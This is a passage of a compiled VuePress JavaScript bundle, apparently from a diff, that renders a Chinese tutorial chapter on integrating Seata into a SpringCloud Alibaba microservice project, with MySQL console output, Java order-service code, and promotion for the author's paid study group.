"),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单条目数据表为空。")]),s._v(" "),a("p",[s._v("至此,我们成功在项目中整合了Seata解决了分布式事务的问题。")]),s._v(" "),a("p",[a("strong",[s._v("注意:本章所对应的Nacos配置,已放到项目的"),a("code",[s._v("doc/nacos/config/chapter25")]),s._v("目录下。")])]),s._v(" "),a("p",[a("strong",[s._v("好了,今天我们就到儿吧,限于篇幅,文中并未给出完整的案例源代码,想要完整源代码的小伙伴可加入【冰河技术】知识星球获取源码。也可以加我微信:hacker_binghe,一起交流技术。")])]),s._v(" "),a("p",[a("strong",[s._v("另外,一不小心就写了25章了,小伙伴们你们再不上车就真的跟不上了!!!")])]),s._v(" "),a("h2",{attrs:{id:"关于星球"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#关于星球"}},[s._v("#")]),s._v(" 关于星球")]),s._v(" "),a("p",[s._v("最近,冰河创建了【冰河技术】知识星球,《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500214&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏的源码获取方式会放到知识星球中,同时在微信上会创建专门的知识星球群,冰河会在知识星球上和星球群里解答球友的提问。")]),s._v(" "),a("p",[s._v("今天,【冰河技术】知识星球再开放200张优惠券,还没上车的小伙伴赶紧啦,再不上车就跟不上啦!!")]),s._v(" "),a("h3",{attrs:{id:"星球提供的服务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球提供的服务"}},[s._v("#")]),s._v(" 星球提供的服务")]),s._v(" "),a("p",[s._v("冰河整理了星球提供的一些服务,如下所示。")]),s._v(" "),a("p",[s._v("加入星球,你将获得:")]),s._v(" "),a("p",[s._v("1.学习SpringCloud Alibaba实战项目—从零开发微服务项目")]),s._v(" "),a("p",[s._v("2.学习高并发、大流量业务场景的解决方案,体验大厂真正的高并发、大流量的业务场景")]),s._v(" "),a("p",[s._v("3.学习进大厂必备技能:性能调优、并发编程、分布式、微服务、框架源码、中间件开发、项目实战")]),s._v(" "),a("p",[s._v("4.提供站点 https://binghe001.github.io 所有学习内容的指导、帮助")]),s._v(" "),a("p",[s._v("5.GitHub:https://github.com/binghe001/BingheGuide - 非常有价值的技术资料仓库,包括冰河所有的博客开放案例代码")]),s._v(" "),a("p",[s._v("6.可以发送你的简历到我的邮箱,提供简历批阅服务")]),s._v(" "),a("p",[s._v("7.提供技术问题、系统架构、学习成长、晋升答辩等各项内容的回答")]),s._v(" "),a("p",[s._v("8.定期的整理和分享出各类专属星球的技术小册、电子书、编程视频、PDF文件")]),s._v(" "),a("p",[s._v("9.定期组织技术直播分享,传道、授业、解惑,指导阶段瓶颈突破技巧")]),s._v(" "),a("h3",{attrs:{id:"星球门票价格"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#星球门票价格"}},[s._v("#")]),s._v(" 星球门票价格")]),s._v(" "),a("p",[s._v("星球目前的门票价格50元,随着每次加入新实战项目和分享硬核技术上调入场价格。")]),s._v(" "),a("p",[a("strong",[s._v("特别提醒:")]),s._v(" 苹果用户进圈或续费,请加微信「hacker_binghe」扫二维码,或者去公众号「冰河技术」回复「星球」扫二维码进圈。")]),s._v(" "),a("p",[s._v("最后,小伙伴们可以扫描或者长按下图中的二维码加入星球,也可以在 "),a("strong",[s._v("冰河技术")]),s._v(" 公众号回复 “ "),a("strong",[s._v("星球")]),s._v(" ” ,领取入场优惠券。")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-04-21-007","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-04-28-008.png",loading:"lazy"}})]),s._v(" "),a("p",[a("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),a("h2",{attrs:{id:"写在最后"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),a("blockquote",[a("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),a("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);a.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[337],{627:function(s,a,t){"use strict";t.r(a);var n=t(7),e=Object(n.a)({},(function(){var s=this,a=s._self._c;return a("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[a("h1",{attrs:{id:"sa实战-·《springcloud-alibaba实战》第25章-分布式事务-项目整合seata实现分布式事务"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#sa实战-·《springcloud-alibaba实战》第25章-分布式事务-项目整合seata实现分布式事务"}},[s._v("#")]),s._v(" SA实战 ·《SpringCloud Alibaba实战》第25章-分布式事务:项目整合Seata实现分布式事务")]),s._v(" "),a("p",[a("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),a("blockquote",[a("p",[s._v("一不小心《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏都更新到第25章了,再不上车就跟不上了,小伙伴们快跟上啊!")]),s._v(" "),a("p",[s._v("注意:本项目完整源码加入 "),a("strong",[a("a",{attrs:{href:"https://public.zsxq.com/groups/48848484411888.html",target:"_blank",rel:"noopener noreferrer"}},[s._v("冰河技术"),a("OutboundLink")],1)]),s._v(" 知识星球即可获取,文末有入场方式。")])]),s._v(" "),a("h2",{attrs:{id:"前文回顾"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#前文回顾"}},[s._v("#")]),s._v(" 前文回顾")]),s._v(" "),a("p",[s._v("在《"),a("a",{attrs:{href:"https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg4MjU0OTM1OA==&action=getalbum&album_id=2337104419664084992&scene=173&from_msgid=2247500408&from_itemidx=1&count=3&nolastread=1#wechat_redirect",target:"_blank",rel:"noopener noreferrer"}},[s._v("SpringCloud Alibaba实战"),a("OutboundLink")],1),s._v("》专栏前面的文章中,我们实现了用户微服务、商品微服务和订单微服务之间的远程调用,并且实现了服务调用的负载均衡。也基于阿里开源的Sentinel实现了服务的限流与容错,并详细介绍了Sentinel的核心技术与配置规则。简单介绍了服务网关,并对SpringCloud Gateway的核心架构进行了简要说明,也在项目中整合了SpringCloud Gateway网关实现了通过网关访问后端微服务.")]),s._v(" "),a("p",[s._v("同时,也基于SpringCloud Gateway整合Sentinel实现了网关的限流功能,详细介绍了SpringCloud Gateway网关的核心技术。在链路追踪章节,我们开始简单介绍了分布式链路追踪技术与解决方案,随后在项目中整合Sleuth实现了链路追踪,并使用Sleuth整合ZipKin实现了分布式链路追踪的可视化 。")]),s._v(" "),a("p",[s._v("在消息服务章节,我们介绍了MQ的使用场景,引入MQ后的注意事项以及MQ的选型对比,在项目中整合了RocketMQ,并给大家介绍了RocketMQ的核心技术。")]),s._v(" "),a("p",[s._v("在服务配置章节,我们首先介绍了服务配置与Nacos作为配置中心的相关概念,并在项目中整合了Nacos配置中心。接下来,又基于Nacos实现了动态刷新与配置共享。")]),s._v(" "),a("p",[s._v("在分布式事务篇章,我们简单介绍了分布式事务的核心原理与SpringCloud Alibaba技术栈中的Seata框架。接下来,我们就在项目中整合Seata框架实现分布式事务。")]),s._v(" "),a("h2",{attrs:{id:"本章总览"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#本章总览"}},[s._v("#")]),s._v(" 本章总览")]),s._v(" "),a("p",[a("img",{staticClass:"lazy",attrs:{alt:"sa-2022-05-26-013","data-src":"https://binghe001.github.io/assets/images/microservices/springcloudalibaba/sa-2022-05-26-013.png",loading:"lazy"}})]),s._v(" "),a("h2",{attrs:{id:"分布式事务问题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#分布式事务问题"}},[s._v("#")]),s._v(" 分布式事务问题")]),s._v(" "),a("p",[s._v("细心的小伙伴会发现,目前,我们的项目中是不支持分布式事务的。也就是说,如果我们调用订单微服务的下单接口提交订单,如果扣减库存失败了,订单依然会写入订单数据表,这是一种典型的分布式事务问题。")]),s._v(" "),a("h3",{attrs:{id:"查询数据表数据"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#查询数据表数据"}},[s._v("#")]),s._v(" 查询数据表数据")]),s._v(" "),a("p",[s._v("(1)打开cmd终端,进入MySQL命令行,并进入shop商城数据库,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("C:\\Users\\binghe"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v("mysql "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("uroot "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("-")]),s._v("p\nEnter password: "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v("\nWelcome "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" the MySQL monitor"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Commands "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("end")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("with")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" \\g"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\nYour MySQL connection id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("15")]),s._v("\nServer version: "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("5.7")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v(".35")]),s._v(" MySQL Community Server "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("GPL"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n\nCopyright "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("c"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2000")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2021")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" Oracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its affiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nOracle "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("is")]),s._v(" a registered trademark "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" Oracle Corporation "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("and")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("/")]),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" its\naffiliates"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" Other names may be trademarks "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("of")]),s._v(" their respective\nowners"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'help;'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("or")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\h'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("for")]),s._v(" help"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Type")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token string"}},[s._v("'\\c'")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("to")]),s._v(" clear the "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("current")]),s._v(" input statement"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("\n\nmysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("use")]),s._v(" shop"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("Database")]),s._v(" changed\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br"),a("span",{staticClass:"line-number"},[s._v("10")]),a("br"),a("span",{staticClass:"line-number"},[s._v("11")]),a("br"),a("span",{staticClass:"line-number"},[s._v("12")]),a("br"),a("span",{staticClass:"line-number"},[s._v("13")]),a("br"),a("span",{staticClass:"line-number"},[s._v("14")]),a("br"),a("span",{staticClass:"line-number"},[s._v("15")]),a("br"),a("span",{staticClass:"line-number"},[s._v("16")]),a("br")])]),a("p",[s._v("(2)查看商品数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_product"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" id "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_name "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_price "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" t_pro_stock "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 华为 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("2399.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1002")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" 小米 "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1003")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" iphone "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("4999.00")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("100")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("|")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),a("span",{pre:!0,attrs:{class:"token comment"}},[s._v("------+------------+-------------+-------------+")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("3")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("rows")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("in")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br"),a("span",{staticClass:"line-number"},[s._v("3")]),a("br"),a("span",{staticClass:"line-number"},[s._v("4")]),a("br"),a("span",{staticClass:"line-number"},[s._v("5")]),a("br"),a("span",{staticClass:"line-number"},[s._v("6")]),a("br"),a("span",{staticClass:"line-number"},[s._v("7")]),a("br"),a("span",{staticClass:"line-number"},[s._v("8")]),a("br"),a("span",{staticClass:"line-number"},[s._v("9")]),a("br")])]),a("p",[s._v("这里,我们以id为1001的商品为例,此时发现商品的库存为100。")]),s._v(" "),a("p",[s._v("(3)查询订单数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以发现订单数据表为空。")]),s._v(" "),a("p",[s._v("(4)查询订单条目数据表,如下所示。")]),s._v(" "),a("div",{staticClass:"language-sql line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-sql"}},[a("code",[s._v("mysql"),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v(">")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("select")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("*")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("from")]),s._v(" t_order_item"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\nEmpty "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("set")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("0.00")]),s._v(" sec"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v("\n")])]),s._v(" "),a("div",{staticClass:"line-numbers-wrapper"},[a("span",{staticClass:"line-number"},[s._v("1")]),a("br"),a("span",{staticClass:"line-number"},[s._v("2")]),a("br")])]),a("p",[s._v("可以看到,订单条目数据表为空。")]),s._v(" "),a("h3",{attrs:{id:"重现分布式事务问题"}},[a("a",{staticClass:"header-anchor",attrs:{href:"#重现分布式事务问题"}},[s._v("#")]),s._v(" 重现分布式事务问题")]),s._v(" "),a("p",[s._v("(1)复制商品微服务的"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV7Impl")]),s._v("类为"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV8Impl")]),s._v("类,后续的操作在"),a("code",[s._v("io.binghe.shop.order.service.impl.OrderServiceV8Impl")]),s._v("类中进行,修改OrderServiceV8Impl类中上的@Service注解中的bean名称为orderServiceV8,并修改saveOrder()方法的代码。这里,只列出有改动的部分代码。")]),s._v(" "),a("p",[s._v("在saveOrder()方法中的扣减商品库存和发送RocketMQ消息之间加入一行代码"),a("code",[s._v("int i = 1 / 0;")]),s._v(",使其扣减库存成功后抛出异常。")]),s._v(" "),a("p",[s._v("修改前的部分代码如下所示。")]),s._v(" "),a("div",{staticClass:"language-java line-numbers-mode"},[a("pre",{pre:!0,attrs:{class:"language-java"}},[a("code",[a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Result")]),a("span",{pre:!0,attrs:{class:"token generics"}},[a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Integer")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v(" result "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" productService"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("updateCount")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getProductId")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCount")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("==")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token number"}},[s._v("1001")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throw")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RuntimeException")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"触发了商品微服务的容错逻辑: "')]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("JSONObject")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("toJSONString")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("orderParams"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("if")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("result"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("getCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token operator"}},[s._v("!=")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HttpCode")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token constant"}},[s._v("SUCCESS")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throw")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),a("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("RuntimeException")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"库存扣减失败"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\nlog"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("info")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"库存扣减成功"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\nrocketMQTemplate"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),a("span",{pre:!0,attrs:{class:"token function"}},[s._v("convertAndSend")]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),a("span",{pre:!0,attrs:{class:"token string"}},[s._v('"order-topic"')]),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" order"),a("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),a("span",{pre:!0,attrs:{class:"token 